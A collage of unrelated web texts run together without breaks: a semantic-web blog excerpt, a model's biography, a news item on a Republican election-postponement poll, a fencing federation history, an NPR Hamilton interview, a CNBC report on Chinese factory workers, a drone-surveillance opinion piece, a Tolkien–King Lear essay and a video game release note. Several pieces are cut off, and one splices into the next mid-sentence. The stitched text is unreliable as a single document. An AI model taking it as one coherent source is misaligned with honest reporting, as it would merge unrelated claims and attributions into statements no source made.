[ "Beagle", "is", "tracking dog" ]
First, note that we didn't have to change the structure or anything else about Fido or Beagle to add this new fact. It stands on its own.
If we wanted to represent this fact in our object paradigm:
var dogObject = { name: "Fido", age: 3, breed: "Beagle", is: "dog" };
Inflexible Objects
Should we change the "is" property to be an array? ["dog", "tracking dog"]
This isn't really correct as it makes Fido a tracking dog, but doesn't tell us that a Beagle is a tracking dog.
Should we add a Boolean like trackingDog: true?
This has the same problem. We don't know that Beagle equates to a tracking dog.
It's not that we can't model this new information in an object-oriented paradigm, we can. It's the fact that we have to change the existing structure of our data to accommodate it and we had to explicitly state that Fido is a tracking dog.
Also, now we can infer through semantic analysis or a semantic query, that Fido is a tracking dog, without us ever having to explicitly state or know that fact, and that Beagles are tracking dogs. All with the addition of one fact.
Semantic Querying
What is a semantic query? Well in this case let's say we are interested in Fido. So we'd find all the triples that have a subject of Fido. Then we'd go to all those triples, look at the objects and get all the triples where those objects are subjects.
So in our example we'd find all triples with subject Fido, Beagle or dog. We wouldn't find triples with subject 3 as that is not a true object but a literal value, for now let's simply ignore the details of this.
Those triples would have more objects and we could find the triples with them as subjects.
We could do this recursively until we stopped finding more triples or until every new triple was a literal value. This graph could easily get quite large. For example there could be millions of triples with the subject of dog.
We could always limit the search to only go so many levels deep or to skip certain subjects. Plus we can have different collections of triples that apply only to certain contexts. We can have our search only look within certain collections.
This functionality is provided by certain types of databases, namely graph databases or other databases that provide semantic query capabilities.
The project I'm working on uses a NoSQL database called MarkLogic that provides this capability.
Note that I am not an expert in NoSQL or the semantic web. I'm learning as I go. Want to learn with me?While she was still in high school, Maran was approached by a woman who asked her for a modeling performance[clarification needed] in San Francisco, and a scouting agent encouraged her to pursue modeling professionally.[5] Her first cover was Glamour in 1998. In 1990 an appendectomy left Maran with a noticeable scar that is typically edited out of photos.[6]
Signed at age 17 with the Elite modeling agency of Los Angeles, Maran appeared on her first cover with Glamour magazine in 1998; she was then the featured Guess? Girl in their summer 1998 and fall 1998 campaigns. After building a résumé of over 25 commercials and advertisements, including playing Howie D's companion in the music video of Backstreet Boys hit "Everybody (Backstreet's Back)",[7] in which she was bitten on the neck by Count Dracula (played by Howie D), Maran moved cross-country to join with Elite in New York City. In 1999, she landed a multi-year deal with Maybelline. Maran appeared in the annual Sports Illustrated Swimsuit Issue for three consecutive years: from 2000 to 2002.
Maran's interest in music led her to play casually in two bands: Darling, with socialite Nicole Richie, and Hollywood 2000, where she sang and played violin.[citation needed]
In 2001, Maran appeared in an independent film, as title character Mallory in The Mallory Effect. Maran followed this by appearing as Susan in Swatters in 2002. In 2004, she appeared in three films: As a French model in Little Black Book, as one of Dracula's brides, Marishka, in Van Helsing, and briefly as a cigarette girl in The Aviator. Maran appeared in a short film "The Confession" alongside Wentworth Miller in 2005, and as Kira Hayden in The Gravedancers in 2006.
Maran appeared in the street-racing video game Need for Speed: Most Wanted released in November 2005. She played Mia Townsend, who guides the player's character through the game.[8]
Maran competed in the 2007 season of Dancing with the Stars,[9] but she and dance partner Alec Mazo were the first couple eliminated.[10]A majority of Republicans would be fine with President Trump postponing the 2020 elections, according to a poll published by The Washington Post on Thursday.
A stunning 52 percent of Republican respondents indicated in the survey that they would support postponing the next presidential election if it ensures that voter fraud -- a right-wing myth that Trump has perpetuated since before losing the popular vote last November -- would be eliminated.
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The poll, conducted by a pair of researchers from Yeshiva University and the University of Pennsylvania, interviewed 650 self-identified Republicans in the Qualtrics online panel from June 5 through 20. Online polls are typically treated as less reliable than live-interview polls, but that wasn't always the case in the 2016 elections.
The poll asked two questions regarding the postponement of the 2020 election:
If Donald Trump were to say that the 2020 presidential election should be postponed until the country can make sure that only eligible American citizens can vote, would you support or oppose postponing the election? What if both Donald Trump and Republicans in Congress were to say that the 2020 presidential election should be postponed until the country can make sure that only eligible American citizens can vote? Would you support or oppose postponing the election?
The responses to these questions only substantiated the rising tide of tribalism in America: 52 percent of Republicans indicated they would support postponing the 2020 election if Trump suggested it, while 56 percent said that they would do so only if both Trump and a Republican Congress suggested it.
The poll has already stirred a bit of a controversy online. Business Insider editor Josh Barro denounced the poll in a tweet Thursday morning.
http://twitter.com/jbarro/status/895631610678214656
Yet others thought it was a good data point to have moving forward.
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http://twitter.com/brianklaas/status/895632731077459969
http://twitter.com/jpodhoretz/status/895632385420795904With its birthday last November, the Fédération Internationale d’Escrime (FIE) is currently celebrating its centennial, becoming the 12th International Olympic Committee (IOC)-recognized sports federation to reach the 100-year mark.
The FIE was founded on November 29, 1913 by nine nations: Belgium, Bohemia (now the Czech Republic), France, Germany, Great Britain, Hungary, Italy, Netherlands and Norway. Portugal also sent a representative to that initial meeting, but did not join the FIE until 1922.
Within the next year, the United States, Mexico, Switzerland and Monaco joined the young federation. Monaco wouldn’t have an IOC-recognized National Olympic Committee (NOC) until 39 years later, in 1953. This means that the tiny nation on the southeast tip France along the Mediterranean has the distinction of being the country with the most years between FIE admittance and IOC recognition.
On the flipside, Bermuda holds the record of being the country with the most years between IOC recognition and FIE admittance with 74 years. Bermuda was recognized by the IOC in 1936, but did not join the FIE until 2010. Other countries with similar differences are Sri Lanka (71 years), Afghanistan (69) and India (66).
Because the FIE archives were destroyed in World War II, four countries’ admission dates are unknown, although they did join the FIE before 1939: Cuba, Denmark, Greece and Sweden. If anyone knows of these countries’ admission dates, please email Jared at jtbeilby@gmail.com.
The FIE currently has 149 members, 148 of which also have an IOC-recognized NOC (Macau, China is the only FIE member without IOC status). The IOC currently has 204 member NOCs, so 56 of those countries are not FIE members.
Perhaps the most surprising countries without an international fencing team are the two lone Western European holdouts Liechtenstein and Andorra. Haiti, which joined the IOC in 1924, is the oldest IOC-recognized nation without an FIE membership, although the country has competed in fencing at both the 1900 and 1984 Olympics (it is unknown whether or not Haiti has been a member of the FIE).
While the FIE comprises of only 73% of IOC countries, its membership list has more than doubled in the past quarter-century with 76 new members since 1989.
Of these 76 countries, the majority hails from Africa and Asia as both zones have picked up 24 new members each since 1989. Europe has had 18, all but three coming from the split up of the Eastern Bloc in the early 1990s, while Pan America has had 10.
All but nine of the 76 have had fencers compete internationally. Besides the former Eastern Bloc nations, none of the additions have won medals on the World Championship or Olympic stages. Congo Republic, Costa Rica, Iran, Qatar and Senegal have all sent fencers to the Olympics since 1989. Alexandre Bouzaid of Senegal and formerly of France is the only fencer from these nations to make the Top 16 with his 15th place effort in the men’s individual epee event at the 2012 London Olympics.
This data does not include defunct nations since there may be several unknown former FIE members and the dates member nations left the FIE are often unavailable. Among known countries, the list of defunct nations includes East & West Germany, Netherlands Antilles, Saar, Serbia & Montenegro, the Soviet Union, the United Arab Republic and Yugoslavia.
This post has been written with available information. If there are should be any changes, contact Jared at jtbeilby@gmail.com.
sources:
FIE Statutes, 2013
International Olympic Committee
LA84 Foundation Digital Archives
Olympics at Sports-Reference
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AdvertisementsLin-Manuel Miranda Talks 'Hamilton': Once A 'Ridiculous' Pitch, Now A Revolution
toggle caption Neilson Barnard/Getty Images
The Broadway musical that's set during a revolution may have set off a revolution of its own, too. Right now, Hamilton is the hardest ticket to get on Broadway. It's been called a once-in-a-generation experience. But it's safe to say the unconventional smash wasn't always a sure thing.
The Grammy-winning show portrays the life of Alexander Hamilton, a founder of the United States who was once a poor, orphaned boy "dropped in the middle of a forgotten spot of the Caribbean" — and it does so in the rhymes and music of hip-hop and pop.
"I understand how ridiculous the elevator pitch for this show is," Lin-Manuel Miranda — the composer, lyricist and lead of the show — tells NPR's Scott Simon. "It sounds improbable. And then once you start hearing about Hamilton's life story, it sort of makes sense. The mode of storytelling makes sense to the subject."
He says that idea was the seed of what would eventually become a six-year-long project to bring Hamilton to the stage.
"That was what grabbed me about it," Miranda continues, "was this was a guy who used words to get everywhere and do what my favorite hip-hop artists do — if not write about their struggles, their lives, then transcend their circumstances by sheer virtuosity."
Hamilton The Revolution by Lin-Manuel Miranda and Jeremy Mccarter Downloadable Audio, 287 pages | purchase close overlay Buy Featured Book Your purchase helps support NPR programming. How?
Now, the play's creation is the subject of the new book Hamilton: The Revolution, which Miranda co-authored with former drama critic Jeremy McCarter, who was involved in the production at its early stages.
And, as Miranda recalls, those early stages fittingly included a crucial spark from the White House. In May 2009, at An Evening of Poetry, Music And The Spoken Word at the White House, Miranda was expected to perform a number from In the Heights, a musical running on Broadway at the time that he wrote and starred in. But he decided to try something else.
"When the White House calls and says, we'd love for you to perform, or if you have anything else on the American experience, and you have a hot 16 bars about Alexander Hamilton in your back pocket, my choice was clear," Miranda says. "It actually felt like a sign, that the thing I had been working on in my spare time, there might be an audience for it."
Interview Highlights
McCarter, on his statement, when he was theater critic of New York Magazine, that hip-hop could save musical theater
Jeremy McCarter: Well, I'd grown up listening to hip-hop, and I'd grown up enjoying the theater, much as Lin had. And what I couldn't see anybody doing was the thing that seemed obvious to me — making the connection between these two art forms.
I mean, if you think of hip-hop as being, in addition to a form of pop music, a kind of verse storytelling, then hip-hop is doing what the great playwrights of the past used to do. I saw a lot of people strike out, not really understand how to make the two work together. Someone named Will Power, I thought, did a really nice job doing it in a couple of projects, but I was still on the hunt for someone who I thought might see it the way I did. Then, I went to see In the Heights.
On how the diverse cast of Hamilton grappled with playing nondiverse characters — many of whom were slaveholders
Miranda: I had to deal with it in the writing of the piece, which is the only way I know how to get inside these characters, is through research and empathy....
Empathy only gets you so far. When you're participating in a system of brutality and it's a part of your daily life, you know, there's a great quote from Chris [Jackson] in the book, where he says, "I can't reconcile that. I can't wrap my head around that. I can honor the parts of him that we honor."
There's a moment in the show that you wouldn't get from the soundtrack, but there's a moment at the end of the show where Eliza says, "I speak out against slavery; you would have done so much more." And it's right after the Washington Monument moment, and Washington hangs his head in shame and steps back.
And we deal with it in a lot of ways, big and small, but it was an open thing and a thing to grapple with because it just was a way of life that no one knew how to deal with, and we grappled with it as much as we could — and still tell a story in 2 hours and 45 minutes in a musical.
On whether McCarter has any concern there will soon be a spate of copycat shows, like, hypothetically, Coolidge: The Musical
McCarter: You know, I talked to Stephen Sondheim about this — not about the Coolidge musical specifically, although a Coolidge musical by Sondheim would be pretty amazing, I think. You know what happens: Something like Hamilton comes along, it changes the sound of Broadway. Lots of people have new ideas because of its success, what is it going to look like for a while? And Sondheim's been around long enough to see styles come and go and changes happen.
And he said something really smart, that the important thing that's going to come out of this is not going to be the copycat shows, the shows that try to take the direct model of this, stylistically or in terms of subject. What's exciting about this is that people will see it and feel encouraged to express their own voices more freely. That, in a sense, much like Sondheim shows, it broadens the possibilities of what you can get away with... to do whatever you want.
And that, to me, is one of the most exciting things about this whole, crazy phenomenon, is to think about, all the doors are going to open because of the kids who are coming to see it.
On the inundation of pitches for future projects
Miranda: I kid you not, I had two historians hand to me two different books on the way to the studio today.... I say, "Thank you very much." Because it's coming from a place of enthusiasm, it's coming from a place of, "Look what you did." So, I can't help but be touched by it.JIAXING, CHINA — President Donald Trump and his supporters have been critical of China for supposedly stealing American jobs, but those alleged thieves say he has the story all wrong.
Grappling with Trump's rhetoric, Chinese workers told CNBC that a pact has been clear to them for decades: U.S. companies come into industrial parks in China and set up factories, hiring Chinese workers for a fraction of the cost of an American worker. These U.S. companies could then sell products more competitively to American consumers, who get to purchase cheaper goods, and Chinese employees can earn wages that would push them out of poverty.
Now, it appears that Trump is seeking to change that equation, so CNBC spoke with workers at American-owned firms in the factory town of Jiaxing — a two-hour drive from Shanghai — about the changing rhetoric on their employment.
"I don't think Trump is correct. American companies come to invest here. They reap rewards and we do, too. It's a win-win," said Zhao Junlin, who said he worked for an American company.
Several in Jiaxing said they were concerned about what would happen if Trump successfully moved manufacturing to the U.S.
"Many business people have opened factories here and are thriving. If Trump demands that the factories go back, that could hurt them," said a man who asked to be identified as Guo.
Guo told CNBC he has worked for the last three years at an American company, sewing fabric.
American managers, he said, are more experienced than Chinese ones, so the American factories have a superior working environment and maintain their equipment well. Now, Guo said he is slightly worried about these kinds of jobs leaving China.
For the Chinese, a lot of jobs that have shifted from the U.S. have lifted people out of poverty — a reason why the country has gained wealth.
But several emphasized that their success doesn't mean Americans have lost out.
"Chinese people work very hard. What we do at the factories takes long hours and other people despise doing it. So I don't think we are stealing anyone's jobs," said a local worker who gave his name as Chen.
If anything, Chinese workers said they worry global backlash to their economic success will move jobs to even lower cost countries.
Chen, for one, told CNBC he is worried about jobs shifting to countries with a cheaper labor force. The solution, he said, was for fellow workers to gain experience and skills, allowing for a move into more specialized roles.
—CNBC's Barry Huang contributed to this report
Follow CNBC International on Twitter and Facebook.Activist Post
In the ongoing chronicle of the drone surveillance arms race sparked by the United States, the latest installment is the presence of drone surveillance technology at the APCO International 77th Conference and Exposition that was held on August 7-10 at the Philadelphia Convention Center.
APCO International is the Association of Public-Safety Communications Officials. Their annual conference is dedicated to the latest technology in the “public safety” sector, focusing on communications across the spectrum. Jammed in amid wireless communications companies, first responder equipment providers, and a host of other data and systems management booths, was Datron World Communications (booth 2013).
Datron does business in 80 countries and specializes in tactical military and public safety radio equipment. They also happen to make the latest entry in aerial drone surveillance: The Datron Scout. Is this a one-off addition to their portfolio, or does it herald an entirely new direction?
The fact that drone surveillance tech is a hot new sector is indisputable. Military contracts are being handed out readily, with AeroVironment announcing another $65 million contract just days ago for their latest product offering. As drone expert, P.W. Singer said, “At this point, it doesn’t really matter if you are against the technology, because it’s coming.” According to Singer, “The miniaturization of drones is where it really gets interesting. You can use these things anywhere, put them anyplace, and the target will never even know they’re being watched.” Drone tech is now being researched in 50 countries, with some pretty strange entries to the race. The Datron Scout is one of a new breed of micro-drone that weighs just 2.6 pounds and can take off vertically and hover in nearly any climate. It’s also virtually idiot-proof to use:
The highly intuitive and intelligent design, says Datron, is based on a touch-screen control interface that meets the needs of soldiers, officers or civilians. (Source)
Wait. Civilians? What training should civilians have in the operation of military-grade drone surveillance vehicles? The willingness to conflate military and civilian applications when discussing drone technology seems like an odd statement, but becomes rather disturbing when we recall Obama’s call for a civilian national security force:
Combine this statement with the obvious roll-out of a citizen spy network across America with the DHS “If You See Something, Say Something” Program, and one’s imagination could begin to wander.
Then there is the attention given to drone tech by the corporate media. A recent CNN article lauds the ease of use of modern day surveillance drones as being “easier than a computer game,” and gives flying lessons on how to pilot the Datron Scout.
Download Your First Issue Free! Do You Want to Learn How to Become Financially Independent, Make a Living Without a Traditional Job & Finally Live Free?
Download Your Free Copy of Counter Markets I may not be much use when it comes to shoot-em-ups, but |
the difference is greater, for already in Layamon we have a tale told with art, not a mere example of "story-motives."
(97).
And that plot is not perfect as the vehicle of the theme or themes that come to hidden life in the poet's mind as he makes his poem of the old material. As is true enough of Shakespeare's use of old material. King Lear is a specially clear example.
(140 n.)
Tolkien's statement that he disliked Shakespeare has been much quoted,14 though Shippey has shown the influence of Macbeth and A Midsummer Night's Dream on The Lord of the Rings (Road 133-44). That Tolkien uses Lear in Beowulf and the Critics as a rhetorical example of what is excellent in literature does not prove that he ascribed to this view, but it does show, I think, that he knew the play and its links to Layamon's Brut well enough. It seems no great logical leap, then, to deduce that when Tolkien began to grapple with issues of kingship,15 madness, and succession in The Lord of the Rings, King Lear came to mind.16
Looking at the evolution of the key passages discussed above also supports this view. The first appearance of the idea that Éowyn will slay the Lord of the Nazgûl appears in one of the outline passages in The War of the Ring: "Théoden slain and Éowyn slays the King of the Nazgûl and is mortally wounded. They lie in state in the white tower" (War 255-56). This plan was then revised: "Charge of the Riders of Rohan breaks the siege. Death of Théoden and Éowyn in killing the Nazgûl King," and again revised to: "Final assault on Minas Tirith [added: [11 >] 10 night]. Nazgûl appear. Pelennor wall is taken. Sudden charge of Rohan breaks siege. Théoden and Éowyn destroy Nazgûl and Théoden falls [struck out: Feb 12]" (War 260). A later version describes the charge of Rohan and Théoden's death, but does not mention Éowyn. Christopher Tolkien notes that "in outlines I, II and III it is said that Théoden and Éowyn (who is not mentioned here)'slew' or 'killed' or 'destroyed' the King of the Nazgûl" (War 267 n. 41). A further outline gives another method of bringing Êowyn into the battle:
Go back to Merry. Charge of Rohan. Orcs and Black Riders driven from the gate. Fall of Théoden wounded, but he is saved by a warrior of his household who falls on his body. Merry sits by them. Sortie saves King who is gravely wounded. Warrior found to be Éowyn. The Hosts of Morghul reform and drive them back to the gate. At that moment a wind rises, dark is rolled back. Black ships seen. Despair. Standard of Aragorn (and Elendil). Éomer's wrath. Morghul taken between 2 forces and defeated. Éomer and [End Page 142] Aragorn meet.
(War 275)
These various outlines show that Tolkien was struggling with the shape of the narrative of the Battle of the Pelennor Fields. At this point in the composition of RK he had not yet developed the secondary line of conflict, Denethor's despair and madness. But now note the first well-realized draft of the scene:
But Théoden was not alone. One had followed him: Éowyn daughter of Éomund, and all had feared the light of her face, shunning her as night fowl turn from the day. Now she leapt from her horse and stood before the shadow; her sword was in her hand. "Come not between the Nazgûl and his prey," said a cold voice, "or he will bear thee away to the houses of lamentation, beyond all darkness where thy flesh shall be devoured and thy shrivelled mind be left naked." She stood still and did not blench. "I do not fear thee, Shadow," she said. "Nor him that devoured thee. Go back to him and report that his shadows and dwimor-lakes are powerless even to frighten women."
(War 365-66, my emphasis)
Christopher Tolkien writes:
I think that my father wrote this well before the period of composition we have now reached, and I would be inclined to associate it (very tentatively) with the outline sketches for Book V, where the event described here is several times referred to, and especially with the Outlines III and V. In these, in contrast to what is said in I and II (p. 256) there is no mention of Éowyn's wounding or death: "Théoden and Éowyn destroy the Nazgûl and Théoden falls" (III, p. 260); "Théoden is slain by Nazgûl; but he is unhorsed and the enemy is routed".
(V, p. 263)
Whatever its relative dating, the piece certainly gives an impression of having been composed in isolation, a draft for a scene that my father saw vividly before he reached this point in the actual writing of the story. When he did so, he evidently had it before him, as is suggested by the words of the Lord of the Nazgûl (cf. RK p. 116).
(War 365-66)
It therefore seems possible to interpret the process of composition as follows: Tolkien was struggling with the details of the battle before Minas [End Page 143] Tirith (whether this is on the Pelennor Fields or at Osgiliath is still an open question). He determined that Théoden and Êowyn would somehow destroy the Lord of the Nazgûl. He then wrote the scene quoted above and used the phrase reminiscent of Lear, "Come not between the Nazgûl and his prey." This original reference to Lear (conscious or not) then went on to influence the rest of the narrative as Tolkien realized that the Lear parallel illuminated some of the complexities of the issues of kingly and stewardly responsibility and succession.
In the outline stages of composition Tolkien foresaw Denethor's grief and his potential conflict with Aragorn over the ending of his family's rule: "interview with Denethor and his grief at news of Boromir" (War 276) and then developed this idea further, as Christopher Tolkien notes, Denethor's "devastation is expressed as a surmise of Pippin's: 'Grief maybe had wrought it: grief at the harsh words he spoke when Faramir returned [>remorse for the harsh words he spoke that sent Faramir out into needless peril]. And the bitter thought that, whatever might now betide in war, woe or victory beyond all hope, his line too was ending" (War 337).
Denethor's anger at the ending of his line (in defeat or victory) then leads Tolkien to the analysis that there is likely to be conflict between Aragorn and Denethor:
Words of Aragorn and Denethor. Denethor will not yield the Stewardship, yet; not until war is won or lost and all is made clear. He is cold and suspicious and? mock-courteous. Aragorn grave and silent. But Denethor says that belike the Stewardship will run out anyway, since he seems like to lose both his sons. Faramir is sick of his wounds. If he dies then Gondor can take what new lord it likes. Aragorn says he will not be "taken," he will take, but asks to see Faramir. Faramir is brought out and Aragorn tends him all that night, and love springs between them.
(War 360)
Denethor's madness is not yet established (and his grief is caused solely by Boromir's death and Faramir's apparent fatal sickness, not by the defeat he sees coming via the palantír, which has not yet entered the story), though his anger at the thought of the loss of the Stewardship is made clear. But the combination of grief and wrath does now enter the story, only it is attached to Éomer: "Théoden falls from horse sorely wounded; he is saved by Merry and Éowyn, but sortie from Gate does not reach them in time before Éowyn is slain. Grief and wrath of Éomer" (War 359).
It is at this point that Tolkien decided to introduce the madness of Denethor, the Steward's attempted burning of Faramir, and his self-immolation. [End Page 144] The additional reasons for his madness (via the visions Denethor has seen in the palantír) are also developed:
Gandalf sweeps aside the men and goes in. He upbraids Denethor, but Denethor laughs at him. Denethor has a palantír! He has seen the coming of Aragorn. But he has also seen the vast forces still gathered in Mordor, and says that victory in arms is no longer possible. He will not yield up the Stewardship "to an upstart of the younger line: I am the Steward of the sons of Anárion." He wants things to be as they were—or not at all"
(War 375).
This section is further developed thus:
But Denethor laughed. And going back to the table he lifted from it the pillow that he had lain on. And lo! in his hand he bore a palantír. 'Pride and despair!' he said. 'Did you think that [the] eyes of the White Tower were blind?' he said. [Added in pencil, without direction for insertion: This the Stone of Minas Tirith has remained ever in the secret keeping of the Stewards in the topmost chamber.] Nay, nay, I see more than thou knowest, Grey Fool.
(War 378)
We cannot be sure that the language from King Lear ("recreant") has yet entered the scene, though it seems likely, since Christopher Tolkien notes that "the page continues very close to the final text" of The Return of the King, citing the page (130) on which "recreant" appears (War 378). But the word either entered at this stage, or in the final manuscript, which is not far removed from this draft. Thus we see, I think, how the first elements of Lear language ("Come not between...") are expanded as Tolkien's understanding of the complexities of the madness of Denethor develops.
It is not necessary to pursue the detailed evolution of the more minor points of comparison (Pippin's service with Denethor, the misting of Prince Imrahil's vambrace by Éowyn's breath), since they merely substantiate the more significant evidence discussed above. Rather, I now want to turn to the artistic effects generated by Tolkien's linking to Lear via the metonymic device of stylistic similarity. We can use style and sources to create a syllogism: the Lord of the Nazgûl is to be compared to King Lear; Denethor is to be compared to King Lear;17 therefore Denethor is to be compared to the Lord of the Nazgûl.18 We can even ground this syllogism in the syntax of the most compelling similarity between Lear and RK: when Lear says "come not between the dragon and his wrath" he is speaking of himself; Lear is the "dragon" he is discussing. To begin to transform the Lear quotation into the Tolkien quotation we [End Page 145] substitute "Nazgûl" for "dragon." Thus if Lear = "the dragon," and "the dragon" = Nazgûl, then Lear = Nazgûl. And even if the above syllogisms are not convincing to all, it seems safe to say (even without the Lear comparison) that the Lord of the Nazgûl is what Denethor would have become had he somehow gained the One Ring: a mighty man with great abilities twisted into darkness.
Such a comparison is not as far-fetched as it might at first seem. Note that while Tolkien's original conception seems to have been that the Lord of the Nazgûl was a renegade member of the Istari—Gandalf reveals that the "W[izard] King... is a renegade of his own order... [?from] Númenor" (War 326)—he abandons this idea and makes the Black Captain a king of men rather than a wizard: "King of Angmar long ago" (War 334). In The Silmarillion we learn that "those [men] who used the Nine Rings became mighty in their day, kings, sorcerers, and warriors of old" and "among those [Sauron] ensnared with the Nine Rings three were great lords of Númenoran race" (S 289). It seems reasonable to infer that the Lord of the Nazgûl was one of these "Black Númenoreans" because he is the greatest of the Ringwraiths and the Númenoreans were greater than other Men. It is therefore worth noting Gandalf's comment to Pippin that Denethor "is not as other men of this time... and whatever be his descent from father to son, by some chance the blood of Westernesse runs nearly true in him" (RK, V, i, 32). Thus Denethor is closer in abilities—Gandalf says that he can perceive things far away if he uses his strong will—to a "pure-blooded" Númenorean (which, presumably, the Lord of the Nazgûl would be, since he would have taken up his ring before the Númenoreans mingled with "lesser" men) than other men of Gondor.19 Seeing the present actions and character of Denethor, therefore, may allow us to infer something about the past of the Lord of the Nazgûl.
When we compare King Lear to both Denethor and the Lord of the Nazgûl, the resultant triangular relationship brings to the forefront several themes that Tolkien juggles throughout The Lord of the Rings but are particularly evident in this section of The Return of the King, most significantly the problem of, as Gandalf puts it, "pride and despair" among the great (RK, V, vii, 129). It is exactly "pride and despair" that drives Lear to madness and creates the wreckage of his (divided) kingdom. Madness and selfishness are of course evil things in general (see Boromir's temptation, Gollum's degradation), but in kings these failings are all the more dangerous because of the power focused in the person of the king. Kings are not permitted to despair; they must always hope for their people. Gandalf says essentially this to Denethor when he tells him that "your part is to go out to the battle of your City, where maybe death awaits you. This you know in your heart" (RK, V, vii, 129). This [End Page 146] productive use of pride and despair is in fact the path that Éomer takes in his madness and grief—which are temporary—turning his own personal pain into an instrument for the service of his people and his cause. Éomer avoids Lear's fate because his sense of responsibility toward his own people overcomes his individual grief (RK, V, vi, 122). Tolkien thus seems to be suggesting that madness and grief at the loss of loved ones, or at the probable loss of one's beloved city, are not per se irrational and evil responses, but to succumb to them by committing additional evil is indeed a sin. In a medieval context, this would be the sin of "wanhope," of abandoning faith in God and refusing to believe that one can be saved in even the darkest circumstances.20 Chaucer's Parson's Tale discusses this sin and its cures in great detail.
Tolkien's treatment of kingly responsibility (in Denethor, Théoden, and Éomer) is yet another example of the complexities of his thought: it is a "democratic" virtue for kings to care more about their people than themselves; the king as servant of as well as ruler over his people is a standard trope of medieval and post-medieval discussions of kingship.21 Yet Tolkien nowhere questions the authority of kings to rule based solely on their blood-lines. Théoden even describes the kingdom of Rohan as his personal property when he tells Saruman that the wizard would have no right to rule "me and mine for your own profit" even if Saruman were "ten times as wise" (TT, III, x, 185).
Further complicating the matter is the real damage that Denethor does to other people through his evil actions. The madness of kings is not like the madness of ordinary men, and through Denethor's behavior not only is his own life lost, but also those of Théoden and the porter whom Beregond slays at the entrance to the Hallows. This seems to me another clear link to Lear, where others suffer for the king's faults. The addition of the Lord of the Nazgûl into the equation, however, shows that there is an additional telos for the despair and madness of the powerful: the ultimate, active evil of the Witch King that we see as a parallel to Denethor's attempt to burn Faramir alive.
It is of course speculation to try to determine how the Black Captain fell to Sauron, but it seems to me that Tolkien, with the triangular connection of Denethor, Lear, and the Lord of the Nazgûl, suggests that it is through the despair of not being able to accomplish one's sworn and beloved duty to country that a man may be ensnared. Certainly Denethor had other motivations pushing him close to the edge of evil: his jealousy towards the disguised Aragorn (when Aragorn served Gondor as Thorongil) points out that Denethor too closely identifies his city's glory and survival with his own exalted position, and Tolkien says as much in Appendix A (RK, A, 335-37). But despair at the loss in the "long defeat" (to use Galadriel's words in FR, II, vii, 372), the very spiritual sickness [End Page 147] that Gandalf cures in Théoden (TT, III, vi, 119-23), can be seen as that which leads a good and powerful man to evil, rather than a desire for evil for its own sake—which would certainly be the default assumption for the Lord of the Nazgûl's original motivation for serving Sauron.
Thus if I am correct in noting the parallels between Lear and Tolkien, the hackneyed criticism that all of Tolkien's characters are either purely good or purely evil is even further shattered (not that it was very substantial to begin with).22 Not only do readers of the Lord of the Rings, as Shippey and others have noted, see the good fall away into evil (Saruman, Boromir, Denethor),23 but we may find the good that they once were in the backgrounds of those who have turned to evil. If the Lord of the Nazgûl was originally like Denethor, a great and powerful man driven to madness and enslavement by the sin of wanhope, a sin brought on by external circumstances, but nevertheless a sin, then more of the full complexity of Tolkien's thought is evident, for the evil character was not originally evil (as Elrond says of Sauron)24 and the critics who see such characters as one-dimensionally evil thus miss the important discussion of free will and duty that undergirds Tolkien's moral philosophy for Middle-earth.25 The dramatization of these themes in Lear is supposedly an example of the great genius of Shakespeare, a genius no one doubts. It is therefore significant, it seems to me, that Tolkien adds to the discussion not only the negative examples discussed above, but the positive examples of Éomer, Théoden, and, of course, Aragorn, the king in exile who has devoted his entire life to service before seeking rule. We might thus further extend this analysis to see parts of The Return of the King as a commentary on the themes brought forth by Shakespeare in King Lear. Lear might have avoided his madness, and he certainly would have avoided his tragedy, if from the beginning he, like Aragorn, had been focused upon his duty of service rather than the prerogatives of kingly (and fatherly) power. He might have pulled back from the brink, like Éomer, if he were able to see that his people at that moment desperately needed leadership.
The above discussion suggests links between Lear and The Return of the King at both the stylistic and the thematic levels. Although such links do not prove the aesthetic worth of Tolkien's work, they do show that The Lord of the Rings is not, as has sometimes been claimed,26 completely separate from major currents of literary style and thought (although Tolkien was of course deliberately outside the fashionable currents of his day).27 Furthermore, the literature so invoked is not the supposedly un-influential literature of the early Middle Ages, but that of Shakespeare, the very heart of the English literary tradition, whose invocation elsewhere in twentieth-century texts is often taken as a hallmark of authorial competence and seriousness. In pointing out this linkage of [End Page 148] The Return of the King to King Lear, I have shown how Tolkien was engaged directly in a continuing evaluation and elaboration of some of the great themes of English literature. In his presentation of the dangers, virtues, and duties of kingship, Tolkien has advanced Shakespeare's discussion and raised issues as important in the twenty-first century as they were in the seventeenth. Are we to dismiss King Lear because its source is a silly folktale? Obviously not. And we would be equally foolish to dismiss The Return of the King from a discussion of the treatment of politics by twenty-first-century writers, even though Tolkien's work resides fully within the fantasy genre.
I now return to the style as a thing in itself rather than merely as a means of invoking a larger, traditional context. As I have noted, the style of the passage in The Return of the King is metonymically linked to the passage in Lear through what can be called a "figure of grammar," the non-standard sentence structure used by both Tolkien and Shakespeare. But what if we did not have the Shakespearean parallel? Would the style of the key sentence, and that of the passage as a whole, be effective in achieving Tolkien's aesthetic purpose? Rosebury criticizes the battle of Éowyn and the Lord of the Nazgûl as "highly-wrought" with "risky heroic mannerisms" (Rosebury 67-68), but, as we shall see, I am not sure this judgment is entirely negative.28
It is worth making a brief linguistic analysis of the key sentence in the passage "Come not between the Nazgûl / dragon and his prey/ wrath." First, let us examine what can be called the "canonical form" of the sentence, which would be expressed "[You] do not come between the Nazgûl / dragon and his prey/ wrath" (see Figure 1).29
The NP of the sentence is simply "You," with the remainder of the sentence being composed of a VP inside of which is the auxilliary "do," the negative "not" and another VP that includes the main verb "come" and the prepositional phrase "between...." To get from this structure to Tolkien's (and Shakespeare's) surface structure, we apply several transformation rules. "'You' deletion" is a standard method of marking the imperative mood (although its deletion is not required and in fact using "you" in an imperative sentence can increase the urgency of the command). In this case "'you' deletion" removes the obvious subject of the sentence and in fact reduces the surface structure of the sentence to a type of VP called a V-bar. This deletion of the NP would move the VP "do not come between..." to the very beginning of the sentence. The next transformation is the deletion of the dummy morpheme "do" from the beginning of the sentence, leaving us with the ungrammatical *"not come between..." With the auxilliary "do" now missing from the leftmost slot in the sentence, the main verb "come" is permitted to move to this crucial location, and the PP nested within the VP now moves up to [End Page 149] a regular PP with two NPs and a conjunction beneath it (Figure 2).Dead Rising 4, and the return of Frank West, were officially revealed by way of an unseasonably festive trailer that appeared at the beginning of the week. What we didn't get, however, was a release date beyond the very vague “holiday season” of 2016. But now it's come to light, thanks to an errant listing on the Xbox Store, that it will be out on December 6.
